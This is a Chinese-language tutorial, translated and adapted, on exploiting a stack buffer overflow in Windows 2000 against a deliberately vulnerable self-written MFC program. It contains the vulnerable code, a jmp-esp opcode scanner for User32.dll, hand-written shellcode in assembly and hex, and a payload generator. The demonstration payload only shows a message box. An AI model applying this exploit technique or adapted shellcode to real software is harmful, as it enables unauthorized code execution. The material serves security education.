Windows 2000緩衝區溢出入門

Windows 2000緩衝區溢出入門

原著:Jason

翻譯/整理/改編:backend

2000年4月12日

 

--[ 前言

 

我在互聯網上閱讀過許多關於緩衝區溢出的文章。其中的絕大多

數都是基於*NIX操作系統平臺的。後來有幸拜讀了ipxodi所著的

《Windows系統下的堆棧溢出》(已刊登在綠盟網絡安全月刊2000

年第三期中),又碰巧看到了Jason先生的

《Windows NT Buffer Overflow’s From Start to Finish》,

得益匪淺。在翻譯Jason先生的文章時,由於我的機器安裝了

Windows 2000 Server,在調試原文程序時發現細節略有出入。

因此本文提供的有關源程序、動態鏈接庫、偏移量等是以我在自己

機器上調試爲準。(對不同版本的動態鏈接庫,都需要編程者自己調試。)

 

這篇文章應該屬入門級。雖然比較簡單,但對於Windows系統下的緩

衝區溢出具有一定的通用性。例如,堆棧溢出地址的確定,跳轉指令

的查找和使用,溢出執行代碼的編寫,等等。只要發現Windows系統下

存在緩衝區溢出漏洞的程序,基本上都可通過這些步驟進行攻擊測試。

但正如ipxodi所指出的,由於Windows下動態鏈接庫的版本更新較快,

一定要根據編程者的實際平臺進行調試。在發佈此類安全漏洞公告或溢

出攻擊程序時,源代碼、系統平臺和動態鏈接庫的版本號都應該儘量

列清楚。否則別人調試起來可能會頭疼得很厲害。;)

 

 

 

--[ 調試、測試環境

 

Microsoft Visual C++ 6.0

Microsoft Windows 2000 Server (中文版,內部版本號:2195)

 

 

 

--[ 調試、測試過程

 

首先,寫一個存在緩衝區溢出漏洞的應用程序。該程序可讀取文件的

內容,這樣我們就能通過修改被讀取文件的內容來使程序溢出。;-) 

在Visual C++開發環境中創建一個新的控制檯應用程序,

選擇”An Application that supports MFC”並單擊”Finish”。

(注:其實並不一定非是MFC應用程序不可,只不過是我自己的習慣

而已。;-)))向這個應用程序中添加一些必要的代碼,如下:

 

CWinApp theApp;

 

using namespace std;

 

void overflow(char* buff);

 

void overflow(char* buff)

{

     CFile file;

     CFileException er;

     if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))

     {

          er.ReportError();

          return;

     }

 

     int x = file.GetLength();

     file.Read(buff,x);

}

 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])

{

     int nRetCode = 0;

 

     // initialize MFC and print and error on failure

     if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))

     {

          // TODO: change error code to suit your needs

          cerr << _T("Fatal Error: MFC initialization failed") << endl;

          nRetCode = 1;

     }

     else

     {

          char buff[10];

          overflow(buff);

     }

    return nRetCode;

}  

 

  現在先來分析一下上面這段C++代碼,找一找哪裏有漏洞。這是

一個MFC控制檯應用程序,”main”函數與其它程序會有些不同,但工作

機制基本一致。我們主要分析該函數中”else”那段代碼。首先是第一

行”char buff[10]”,定義了一個10字符長的本地變量。我們都知道,

本地變量的內存空間是在堆棧裏分配的。(如果你連這個都不知道,建

議不要繼續往下看了。:))然後是將buff變量作爲參數調用overflow

函數。好了,現在讓我們分析overflow函數。首先是一個Cfile對象,然

後是一個CfileException對象。接下來會試圖以讀權限打開當前目錄下

的文件”overflow.txt”。如果打開成功,則將該文件中的所有內容讀

取到buff數組變量中。發現了問題沒有?buff變量只有10字符長。如果

讀取的文件內容長度是100時會發生什麼問題呢?對了,“緩衝區溢出”!

而且是在堆棧中發生的緩衝區溢出。在後面的測試中就能看到,我們利

用這個漏洞能做些什麼!;)現在讓我們創建文本文件”overflow.txt”,

並將它放到這個應用程序的project目錄下。

 

在進行下一步前,先讓我們探討一下關於Windows NT/2000的內存結構。

NT/2000的每一個進程都在啓動時分配了4GB(0xFFFFFFFF)的虛擬內存。

其中的某些部份實際上是由所有進程共享的,例如核心和設備驅動程序

區域。但它們都會被映射到每個進程的虛擬地址空間裏。實際上沒有進

程分配到4GB的物理內存,而是僅當需要時才分配物理內存。因此每一個

進程都有各自的4GB虛擬內存,編址範圍從0x00000000到0xFFFFFFFF。

其中,0x00000000-0x0000FFFF是爲NULL指針分配而保留的。訪問該區

域內存將導致“非法訪問”錯誤。0x00010000-0x7FFEFFFF是用戶進程

空間。EXE文件的映像被加載到其中(起始地址0x00400000),DLL(動

態鏈接庫)也被加載到這部份空間。如果DLL或EXE的代碼被裝入到該範

圍的某些地址,就能夠被執行。訪問該區域中沒有代碼裝入的地址將導

致“非法訪問”錯誤。0x7FFF0000-0x7FFFFFFF是保留區域,對此區域

的任何訪問都將導致“非法訪問”錯誤。0x80000000-0xFFFFFFFF僅供

操作系統使用。用於加載設備驅動程序和其它核心級代碼。從用戶級應

用程序(ring 3)訪問此區域將導致“非法訪問”錯誤。

 

現在回到”overflow.txt”文件。現在我們將向這個文本文件中不斷添

加字符,直到彈出應用程序非法訪問的系統對話框。在這裏,填充什麼

字符是很重要的(原因待會就知道了)。我選擇小寫字母”a”來填充

文本文件。我們已經知道緩衝區只有10字符長,那麼先填充11個字符。

(注意:以debug方式編譯應用程序,否則結果可能會有所不同。)咦?

沒反應。我們繼續填充字符……直到填充了18個字符應用程序才崩潰。

但這個崩潰對我們的用處還不大。繼續填充!當字符串長度爲24時,運

行程序並觀察彈出的對話框信息:“”0x61616161”指令引用的”

0x61616161”內存。該內存不能爲”written”。”我想大家都應該

知道”0x61”所代表的ASCII碼是什麼吧?;)如果你的機器安裝了

Visual C++,單擊“取消”按鈕就能夠調試該應用程序。進入調試環境

後,選擇”view”菜單――”debug windows”――”registers”,

可打開寄存器窗口。如果你對彙編一竅不通,建議先去找本彙編的書看

看。在寄存器窗口裏會看到EAX、EBS和EIP等寄存器的內容。EIP當然是

最重要的了。EIP的內容就是程序下一步所要執行指令的地址。我們注

意到ESP寄存器的值未被破壞,而且似乎離我們的buff變量不遠。下一

步我們需要找出ESP的值是從如何處理得到的。

 

現在開始會複雜些了(而這就是樂趣的源泉!:))。 在main函數的

最後一行代碼處設置斷點,因爲我們只關心這裏所發生的事情。現在啓

動調試器,並讓程序無故障運行到該斷點。然後切換到反彙編窗口(按

Alt+8,或單擊”View”――”debug windows”――”disassembly”)。

另外還要打開內存窗口和寄存器窗口。

 

0040155B 5F                   pop         edi

0040155C 5E                   pop         esi

0040155D 5B                   pop         ebx

0040155E 83 C4 50             add         esp,50h

00401561 3B EC                cmp         ebp,esp

00401563 E8 7E 00 00 00       call        _chkesp (004015e6)

00401568 8B E5                mov         esp,ebp

0040156A 5D                   pop         ebp

0040156B C3                   ret

 

以上這些東西是什麼?彙編代碼。如果你對彙編一點都不懂,我在這裏

做一些簡單的說明。第一行是”pop edi”。指令pop用於將僅次於堆棧

頂端的數據移到其後的指定寄存器中。需要注意的是ESP寄存器。ESP是

32位堆棧指針。一個pop指令移動堆棧頂端的一個數據單元,在這裏是

DWORD(雙字,4字節),到指定寄存器中,並將堆棧指針加4(因爲共移

動了4字節)。在執行下一步前,讓我們看一下ESP寄存器。在內存窗口中

輸入ESP,就能得到ESP當前指向的地址和內容。看一下ESP指向的內存

地址中4個字節的內容和EDI寄存器的內容。現在單步執行”pop.edi”,

我們能夠看到EDI寄存器中填入了ESP所指向的內存地址的數值,同時ESP

的數值也增加了4。後面的兩條指令是一樣的,只不過寄存器不同罷了。

單步執行它們。跟着的三行指令對本文沒什麼意義,所以在這裏不作解釋。

單步執行到指令”mov esp, ebp”,該指令會將EBP的值賦給ESP寄存器。

然後是指令”pop ebp”,這條指令很重要。先讓我們在內存窗口輸入ESP,

可以看到該內存地址有一串”0x61”(’a’的16進制值)。因此

0x61616161將被彈出到EBP寄存器中。單步執行該指令可以檢驗我說的沒

錯吧?;)好了,雖然我說的沒錯,但好象我們還沒能得到什麼有用的

東西?現在到了最後一條指令”ret”。指令”ret”在彙編中是返回指

令。它是如何知道應該返回到哪裏的呢?由當前位於堆棧頂端的數值決

定。這條指令如果用pop指令表示的話可以表示爲”pop eip”(雖然實

際上你無法執行這條pop指令;))。它從ESP所指向內存地址處彈出4字

節內容,並賦給EIP寄存器(EIP寄存器是32位指令指針)。這就意味着,

不管EIP指向哪個內存地址,該地址處的指令將總會成爲下一條指令。我

們再次在內存窗口中輸入ESP,看一下將要賦給EIP寄存器的地址的指令

是什麼。其實我想此時大家都應該知道是4個字節長的0x61串。現在讓我

們單步執行該指令,看到EIP的值爲0x61616161,也就是說下一指令地址

爲0x61616161,但指令卻顯示爲???(意爲無效指令)。因此再單步執行

指令將導致“訪問非法”錯誤。現在再看看ESP寄存器。它正確地指向了

堆棧中的下一個數值。也就是說,下一步工作是確定在使緩衝區成功溢

出(EIP=0x61616161)時,ESP所指向的地址是否能夠存放我們的溢出

代碼!我們在overflow.txt文件中再次增加4個’a’(共28個’a’),

並再次調試程序,在執行到”ret”指令時觀察內存窗口和寄存器窗口,

會發現執行”ret”指令後ESP所指向內存地址的內容爲4字節長的0x61串。

Great!這意味着什麼?!這個讓大家自己想去吧。;)))

 

現在我再回過頭來分析一下。我們剛纔使用字符’a’(0x61)作爲文本

文件的填充內容,以確定存在緩衝區溢出。由於EIP=0x61616161,當我

們的程序訪問試圖訪問該地址處的指令時,會因爲是無效指令而導致系

統出錯。但如果所指向的地址存在可執行代碼時又如何呢?例如裝入內

存的DLL代碼等。哈哈,這樣的話就會執行這些指令,從而可能做一些別

人想像不到的事!;)

 

好了,到目前爲止,我們已經能控制EIP的數值,也知道ESP指向的堆棧

位置,和能夠向堆棧寫入任意數據。那麼下一步做什麼呢?當然是找到

使系統執行我們的溢出代碼的方法了。如果你看過ipxodi所著的文章

《Windows系統下的堆棧溢出》,就會知道採用跳轉指令(jmp esp)是

最好不過的了。原因在這裏就不再多講,請大家仔細閱讀

《Windows系統下的堆棧溢出》就清楚了。正如前面分析過的,這是因爲

執行完ret指令後ESP正好能夠指向我們的溢出代碼!(……哦,找不到,

我沒分析過?在本文中查找單詞”Great”吧,呵呵。)現在我們就要在

應用程序的內存空間中找到含有”jmp esp”指令的地址。首先當然是確

定這條指令的機器碼了。怎麼確定?這也要教?好吧,教就教吧。僅此

一次,下不違例。;)其實方法很簡單,按以下步驟就可以了。先在

Visual C++中創建新的應用程序。(當然還是控制檯程序,還是支持

MFC,這是我的習慣。呵呵。)輸入以下代碼:

 

CWinApp theApp;

 

using namespace std;

 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])

{

     int nRetCode = 0;

 

     // initialize MFC and print and error on failure

     if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))

     {

          // TODO: change error code to suit your needs

          cerr << _T("Fatal Error: MFC initialization failed") << endl;

          nRetCode = 1;

     }

     else

     {

      return 0;

      __asm jmp esp

     }

     return nRetCode;

}

 

下一步是如何在我們的進程空間裏找到這串機器碼。也是非常簡單的,只要

修改一下代碼即可:

 

CWinApp theApp;

 

using namespace std;

 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])

{

     int nRetCode = 0;

 

     // initialize MFC and print and error on failure

     if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))

     {

          // TODO: change error code to suit your needs

          cerr << _T("Fatal Error: MFC initialization failed") << endl;

          nRetCode = 1;

     }

     else

     {

          #if 0

          return 0;

          __asm jmp esp

 

          #else

 

          bool we_loaded_it = false;

          HINSTANCE h;

          TCHAR dllname[] = _T("User32");

 

          h = GetModuleHandle(dllname);

          if(h == NULL)

          {

               h = LoadLibrary(dllname);

               if(h == NULL)

               {

                    cout<<"ERROR LOADING DLL: "<                    return 1;

               }

               we_loaded_it = true;

          }

 

          BYTE* ptr = (BYTE*)h;

          bool done = false;

          for(int y = 0;!done;y++)

          {

               try

               {

                    if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)

                    {

                         int pos = (int)ptr + y;

                         cout<<"OPCODE found at 0x"<                    }

               }

           catch(...)

           {

                cout<<"END OF "<                done = true;

           }

      }

 

      if(we_loaded_it) FreeLibrary(h);

      #endif

     }

     return nRetCode;

}

 

也許你會奇怪,爲什麼不用Kernel32.dll呢?它不是更通用嗎?我剛開始

時也是在動態鏈接庫Kernel32的進程空間尋找”FF E4”,但居然一處也

找不到!(而在Windows NT 4中找到能至少6處!:(()後來我嘗試在

User32.dll中尋找,終於找到了一處。運行後程序輸出:

 

OPCODE found at 0x77e2e32a

END OF User32 MEMORY REACHED

 

注意,不同的動態鏈接庫和版本,得到的結果可能會不一樣。我的動態

鏈接庫User32.dll版本爲5.00.2180.1。現在用16進制文件編輯器

(如Ultra Edit)打開overflow.txt文本文件,在第21字符位置開始輸

入2A E3 E2 77。(爲什麼要在第21字符位置?爲什麼要輸入

2A E3 E2 77?我不想解釋了,如果你連這都看不懂,建議你不要再研究

緩衝區溢出了!)我們先保留後面的四個’a’字符。使用調試器運行程

序,執行到”ret”命令處停下來,看看下一條指令是否爲”jmp esp”,

而且執行”jmp esp”前esp的內容是否爲0x61616161。如果一切正確,

OK, so far so good. ;)讓我們來進行更刺激的事情――編寫緩衝區溢

出後的執行代碼。

 

首先,你必須確保所有需要的動態鏈接庫都被加載到進程空間中。一種方

法是利用該程序本身調用的動態鏈接庫;另一種方法是在溢出代碼中加載

該動態鏈接庫。(在ipxodi的《Windows系統下的堆棧溢出》中有詳細介

紹。)在這裏我採用第一種方法。爲什麼?因爲簡單嘛。;)

 

呵呵,爲了編程簡單,同時本文的主要目的是教學,重點在於原理,所以

代碼執行時僅是彈出一個消息框。如果想編寫更具攻擊性或更復雜的執行

代碼,可參閱ipxodi所著的《Windows系統下的堆棧溢出》和綠色兵團整

理的《高級緩衝區溢出》。不過,後果自負!

 

首先我們要找到如何在代碼中調用MessageBox函數。根據Windows API文

檔,MessageBox依賴於user32.lib,也就是說它位於user32.dll動態鏈接

庫中。啓動depends工具,打開將要被溢出的應用程序,可以發現它將加

載user32.dll。然後尋找MessageBox函數的內存位置。在我機器的

user32.dll中,MessageBoxA(ASCII版本)函數的偏移量(Entry Point)

爲0x00033D68。User32.dll在內存中的起始地址爲0x77DF0000。將兩者相

加即可得到MessageBox函數的絕對內存地址爲0x77E23D68。所以我們需要

在彙編代碼中正確設置堆棧並調用0x77E23D68。根據對Steve Fewer的

winamp緩衝區溢出代碼學習和研究,我寫出來的彙編代碼如下:

 

push        ebp

push        ecx

mov        ebp,esp

sub         esp,54h

xor          ecx,ecx

mov         byte ptr [ebp-14h],'S'

mov         byte ptr [ebp-13h],'u'

mov         byte ptr [ebp-12h],'c'

mov         byte ptr [ebp-11h],'c'

mov         byte ptr [ebp-10h],'e'

mov         byte ptr [ebp-0Fh],'s'

mov         byte ptr [ebp-0Eh],'s'

mov         byte ptr [ebp-0Dh],cl

mov         byte ptr [ebp-0Ch],'W'

mov         byte ptr [ebp-0Bh],'e'

mov         byte ptr [ebp-0Ah],' '

mov         byte ptr [ebp-9],'G'

mov         byte ptr [ebp-8],'o'

mov         byte ptr [ebp-7],'t'

mov         byte ptr [ebp-6],' '

mov         byte ptr [ebp-5],'I'

mov         byte ptr [ebp-4],'t'

mov         byte ptr [ebp-3],'!'

mov         byte ptr [ebp-2],cl

push        ecx

lea          eax,[ebp-14h]

push       eax

lea          eax,[ebp-0Ch]

push       eax

push       ecx

mov       dword ptr [ebp-18h],0x 77E23D68

call        dword ptr[ebp-18h]

mov      esp,ebp

pop      ecx

pop      ebp

 

以上彙編代碼將調用位於0x77E23D68的MessageBox函數,使其彈出標題爲

”Success”、消息內容爲”We Got It!”的消息框。必須要注意的是,我

們不能使用0(NULL)作爲字符串中的字符,解決方法請參考ipxodi所著的

《Windows系統下的堆棧溢出》和綠色兵團整理的《高級緩衝區溢出》。現

在,我們要得到這些彙編代碼的機器碼。方法前面已經介紹過了,不再重複。

最後整理得到的機器碼爲:

 

/x55/x51/x8b/xec/x83/xec/x54/x33/xc9/xc6/x45/xec/x53/xc6/x45/xed/x75/xc6/x45

/xee/x63/xc6/x45/xef/x63/xc6/x45/xf0/x65/xc6/x45/xf1/x73/xc6/x45/xf2/x73/x88/x4d

/xf3/xc6/x45/xf4/x57/xc6/x45/xf5/x65/xc6/x45/xf6/x20/xc6/x45/xf7/x47/xc6/x45/xf8

/x6f/xc6/x45/xf9/x74/xc6/x45/xfa/x20/xc6/x45/xfb/x49/xc6/x45/xfc/x74/xc6/x45/xfd

/x21/x88/x4d/xfe/x51/x8d/x45/xec/x50/x8d/x45/xf4/x50/x51/xc7/x45/xe8/x68/x3d

/xe2/x77/xff/x55/xe8/x8b/xe5/x59/x5d

 

如果現在將這輸入到overflow.txt文件中,將能夠成功溢出,並彈出我們定

制的消息框。但當單擊”確定”按鈕後,應用程序將崩潰。要避免出現這種

情況,我們需要調用exit函數以正常關閉程序。查閱Windows API文檔可知,

需要導入msvcrt.lib,因此肯定在msvcrt.dll動態鏈接庫中。使用depends工

具會發現應用程序加載了msvcrtd.dll而不是msvcrt.dll,這是因爲我們應用

程序現在使用的是調試版本。但兩者沒太多區別。Msvcrtd.dll在內存中的起

始地址爲0x10200000,exit函數的偏移量(Entry Point)爲0x0000AF90,則

exit函數的絕對地址爲0x1020AF90。故彙編代碼爲:

 

push        ebp

push        ecx

mov        ebp,esp

sub         esp,10h

xor         ecx,ecx

push       ecx

mov       dword ptr [ebp-4],0x1020AF90

call        dword ptr[ebp-4]

mov       esp,ebp

pop       ecx

pop       ebp

 

以上代碼以0爲參數調用exit函數,使應用程序以代碼0退出運行。整理後得

到的機器碼如下:

 

/x55/x51/x8b/xec/x83/xec/x10/x33/xc9/x51/xc7/x45/xfc/x90/xaf/x20/x10/xff/x55/xfc/x8b/xe5/x59/x5d

 

現在將上面兩串機器碼輸入到overflow.txt文件中(以第25個字節爲起始位置。

這次不用問爲什麼了吧?!如果還不懂,複習一下前面的內容!)

 

如果你嫌麻煩,可以使用以下程序(怎麼樣,夠朋友了吧?;)):

 

CWinApp theApp;

 

using namespace std;

 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])

{

 int nRetCode = 0;

 

 // initialize MFC and print and error on failure

 if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))

 {

  cerr << _T("Fatal Error: MFC initialization failed") << endl;

  nRetCode = 1;

 }

 else

 {

  char buffer[20];

  //0x77e2e32a //user32.dll JMP ESP

  char eip[] = "/x2a/xe3/xe2/x77";

  char sploit[] = "/x55/x51/x8b/xec/x83/xec/x54/x33/xc9/xc6/x45/xec/x53/xc6/x45/xed/x75/xc6/x45/xee"

                        "/x63/xc6/x45/xef/x63/xc6/x45/xf0/x65/xc6/x45/xf1/x73/xc6/x45/xf2/x73/x88/x4d/xf3/xc6"

                        "/x45/xf4/x57/xc6/x45/xf5/x65/xc6/x45/xf6/x20/xc6/x45/xf7/x47/xc6/x45/xf8/x6f/xc6/x45"

                        "/xf9/x74/xc6/x45/xfa/x20/xc6/x45/xfb/x49/xc6/x45/xfc/x74/xc6/x45/xfd/x21/x88/x4d/xfe"

                        "/x51/x8d/x45/xec/x50/x8d/x45/xf4/x50/x51/xc7/x45/xe8/x68/x3d/xe2/x77/xff/x55/xe8/x8b"

                        "/xe5/x59/x5d/x55/x51/x8b/xec/x83/xec/x10/x33/xc9/x51/xc7/x45/xfc/x90/xaf/x20/x10/xff"

                        "/x55/xfc/x8b/xe5/x59/x5d";

 

  for(int x=0;x<20;x++)

  {

   buffer[x] = 0x90;

  }

 

  CFile file;

  file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);

 

  file.Write(buffer,20);

  file.Write(eip,strlen(eip));

  file.Write(sploit,strlen(sploit));

  

  file.Close();

 }

 

 return nRetCode;

}

 

在確保所有文件的內容和位置都準確無誤後,運行被溢出程序…………哈哈,我們的

消息框彈出來了!!!單擊”確定”按鈕,程序正常關閉!!!

 

--[ 後記

 

最近訪問國外的安全站點、黑客站點,發現國外越來越多地關注Windows系統的安全,

研究Windows系統漏洞的也越來越多,包括L0pht、Cerberus等。特別是在一些黑客性

質很重的站點,針對Windows 9x/NT/2k的攻擊程序一堆堆的。真的有點不敢想像,如

果Micro$oft公開所有Windows的源代碼,會有多少安全漏洞被發現。而我想,根據國

內使用Windows平臺的普遍性,問題將會更加嚴重。因此我覺得國內對Windows的安全

性研究應該抓得更緊些!雖然實際情況令人沮喪……:(

 

這篇文章本來不打算整理的,因爲我自己也是剛開始研究Windows系統下的緩衝區溢

出,掌握的東西不多,擔心被Windows高手取笑。後來倒是自己想通了:只有“班門

弄斧”,才能知道自己的不足,才能更快地取得進步。希望衆Windows高手、黑客高手

多多指教。象我們綠色兵團裏的ipxodi、袁哥、zer9等,都是Windows平臺下的安全

專家,如果本文能起到“拋磚引玉”的作用,我便很滿足了。

 

<<< 完 >>>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章